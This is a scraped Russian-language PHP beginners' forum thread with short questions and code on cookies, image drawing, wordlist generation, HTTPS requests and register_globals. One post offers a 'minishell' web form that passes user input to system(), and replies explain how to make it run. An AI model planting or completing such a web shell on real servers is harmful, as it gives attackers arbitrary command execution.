[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    317
    Likes Received:
    352
    Reputations:
    18
    как получить куки через курл ? Например, я проголосовал,мне дали куку...воот длячего мне нужно
    зы, все разобрался ,сорь
     
  2. kola42

    kola42 New Member

    Joined:
    27 Dec 2008
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    делаю автозапуск hiceq бота при его вылете. Вопрос - как проверить открыт ли сокет?
     
  3. prizma

    prizma Member

    Joined:
    1 Jan 2009
    Messages:
    13
    Likes Received:
    7
    Reputations:
    0
    спроси у него
     
    1 person likes this.
  4. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    1. Рисуем квадрат с точкой
    PHP:
    <?
        
    header('Content-type: image/png');
        
    $img imagecreate(100100);
        
    $white imagecolorallocate($img255255255);
        
    $black imagecolorallocate($img0,0,0);
        
    imagecolortransparent($img$white);
        
    imagesetpixel($img5050$black);
        
    imagepng($img);
    ?>
     
    2 people like this.
  5. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    примерно так:
    PHP:
    <?php
    $source 
    = Array("A""B""C""D""E""F""G""H""I""J""K""L""M""N""O""P""Q""R""S""T""U""V""W""X""Y""Z"); //массив букв, можно любой алфавит
    $num 5//количество букв в слове
    for($i=0$i<$num$i++)
        {
        echo 
    $source[rand(0),(count($source)-1)]; //вывод случайной буквы из массива  
        
    }
    ?>
     
  6. 5triker

    5triker Elder - Старейшина

    Joined:
    5 Apr 2007
    Messages:
    62
    Likes Received:
    41
    Reputations:
    1
    эт просто рандомную букву выберет , а ему вроде как генератор словарей нужно...
     
  7. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    чем не генерация всех возможных "слов" из пяти букв?
     
  8. vvs777

    vvs777 Elder - Старейшина

    Joined:
    16 Nov 2004
    Messages:
    394
    Likes Received:
    213
    Reputations:
    4
    https:// на PHP
    в ответах Гугла надыбал исходник.
    PHP:
    <?php
    error_reporting
    (E_ALL);
    # working vars
    //https://global.bigmir.net/auth
    $host 'global.bigmir.net';
    $service_uri '/auth';
    $local_cert_path './keys.pem';
    $local_cert_passphrase 'pass_to_access_keys';
    $request_data 'url=http://passport.bigmir.net/&rnd=&pid=2&login=user&pass=pass&auth_type=1&subm=1';

    # array with the options to create stream context
    $opts = Array();

    # compose HTTP request header
    $header "Host: $host\\r\\n";
    $header .= "User-Agent: PHP Script\\r\\n";
    $header .= "Content-Type: text/xml\\r\\n";
    $header .= "Content-Length: ".strlen($request_data)."\\r\\n";
    $header .= "Connection: close";

    # define context options for HTTP request (use 'http' index, NOT 'httpS')
    $opts['http']['method'] = 'POST';
    $opts['http']['header'] = $header;
    $opts['http']['content'] = $request_data;

    # define context options for SSL transport
    $opts['ssl']['local_cert'] = $local_cert_path;
    $opts['ssl']['passphrase'] = $local_cert_passphrase;

    echo 
    "<HR><PRE>";
    print_r($opts);
    echo 
    "</PRE><HR>";

    # create stream context
    $context stream_context_create($opts);

    # POST request and get response
    $filename 'https://'.$host.$service_uri;
    $content file($filenamefalse$context);
    $response_data implode(''$content);

    echo 
    "<PRE>$content</PRE>";
    //echo "<PRE>$response_data</PRE>";
    echo "<HR>";

    ?>
    по идее должна быть выведена страница БМ о том что пароль неправильный, а выводится мегамассив и потом пусто <HR><PRE></PRE><HR>

    другой хостинг вообще сообщал что file() должен иметь до 2 параметров, а я, видите ли, 3 втыкнул...
     
    #7168 vvs777, 2 Jan 2009
    Last edited: 2 Jan 2009
  9. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    vvs777, Поддержка контекста для file была добавлена в PHP 5.0.0. И чем вам курл не нравится?

    inlanger у вас генерируются не все возможные слова, а случайная последовательность из 5 букв (т.е. при прочих равных есть шанс сгенерировать множество повторов). Для генерации словарей просто нужно использовать вложенные циклы:

    PHP:
    <?
    // Функция для генерации
    // $FROM, $TO  - Начальное / Конечное количество символов
    // $todo - Что делать со словом
    // $alfa - Алфавит для генераци, нулевой элемент ДОЛЖЕН быть пустой строкой, иначе заменяется на нее
    function gen($FROM$TO $todo$alfa=array("","a""b""c""d""e""f""g""h""i""j""k""l""m""n""o""p""q""r""s""t""u""v""w""x""y""z"))
    {
        
    $alfa=array_values($alfa);
        
    $alfa[0]="";
        
    $count=count($alfa);
        
    $eval='';
        
    $eval2=array();
        
    $slovo='';
        for (
    $n=1;$n<=$TO;$n++)
        {
            
    $eval .='for ($'.chr(96+$n).'='.(($n-$TO+$FROM>=1) ? '1' '0').';$'.chr(96+$n).'<'.$count.';$'.chr(96+$n).'++) {'."\r\n";
            
    $eval2[]='$alfa[$'.chr(96+$n).']';
        }
        if (eval(
    $eval.'$slovo = '.implode('.',$eval2).'; '.$todo.str_repeat('}',$TO))) return true; else return false;
    }


    define(FROM,2); // Начальное количество букв
    define(TO,3); // Конечное количество букв
    // Что делать с текущим словом, которое хранится в переменной $slovo
    // Например запишем в файл
    $todo='fwrite($f,$slovo."\r\n");'

    $f=fopen('slovar.txt','w');
    gen(FROM,TO,$todo);
    fclose($f);

    ?>
     
    _________________________
    #7169 Gifts, 2 Jan 2009
    Last edited: 2 Jan 2009
  10. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    У меня есть код так вот будет ли он работать? если нет то подправьте что не так и опишите что вы подправили и зачем

    Code:
    <html>
    <body>
    <form action="" method=POST>
    <input type=text name=cmd size=35>
    <input type=submit name="msg_submit" value="execute">
    </form>
    <?
     system(cmd);
    ?>
    </body>
    </html>
    
    Код типа минишелла :D
     
  11. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    diznt, на сервере должен быть отключен safe mode

    Code:
    system(cmd);
    В зависимости от register_globals, возможно, придется переделать в

    Code:
    system($_POST['cmd']);
     
  12. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    то есть так должен впринцыпе работать?
     
  13. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    diznt скорее НЕ будет, потому что рег.глобалс по умолчанию выключен, и на многих хостингах system находится в disable_functions
     
    _________________________
  14. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    Code:
    system(cmd);
    эй, а где знак доллара перед переменной?
     
  15. Jino

    Jino New Member

    Joined:
    27 Sep 2007
    Messages:
    22
    Likes Received:
    0
    Reputations:
    0
    Изучаю PHP, возникла следующая проблема.


    Первая страница.
    Code:
    <form action = "http://test/test.php" method="get">
       HDD: <input type="text" name="HDD"/><br>
       CDROM: <input type="text" name="CDROM"/><br>
    <input type="submit"/>
    Соответственно имеем два поля ввода и при нажатии на кнопку отправить переходим на test.php

    Code:
    http://test/test.php?HDD=a&CDROM=c
    Если я правильно понимаю суть, то должны создаваться переменные $HDD и $CDROM с значениями, введенными на первой странице.

    При попытке вывода в test.php

    PHP:
    <?
    echo (
    "<p>$HDD</p>");
    echo (
    "<p>$CDROM</p>");
    ?>
    не выводится ничего.

    В чем ошибка?
     
  16. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    Парни, мне вот нужно пхп внедрять в хмль, все советуют прогу DW но она у меня не устанавливается, хз по какой причине(вроде она запустилась но как только окно программы появляется оно тут же закрывается и пишет что этой программой нелья пользоваться!) вот, мб есть и другие программы не хуже этого Dreamweaver?
     
  17. 5triker

    5triker Elder - Старейшина

    Joined:
    5 Apr 2007
    Messages:
    62
    Likes Received:
    41
    Reputations:
    1
    register_globals off
    пиши $_GET['HDD'] и $_GET['CDROM']
     
  18. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    MaTpOc Notepad
     
    _________________________
  19. [dei]

    [dei] Active Member

    Joined:
    24 Nov 2008
    Messages:
    171
    Likes Received:
    112
    Reputations:
    5
    Jino
    есть такая директива как register_globals, так вот, когда она включена, то переменные ведут себя так как ты написал, т.е. регистрируются в начале, это не безопасно и дефолту везде выключено.
    Нужно обращаться через суперглобальные массивы.
    PHP:
    echo $_GET['HDD'];//get
    echo $_POST['HDD1'];//post
     
  20. Jino

    Jino New Member

    Joined:
    27 Sep 2007
    Messages:
    22
    Likes Received:
    0
    Reputations:
    0
    Спасибо. Еще два вопроса:

    Почему не безопасно когда включена директива register_globals?

    Как я понял изначально переменные не регистрируются, а регистрируются при $_GET['название переменной']. Верно?

    А вот еще один вопрос назрел :)

    PHP:
    echo ("$_GET['HDD'] <br>");
    Естественно это неправильно)
    Как сделать перенос строки?
     
Thread Status:
Not open for further replies.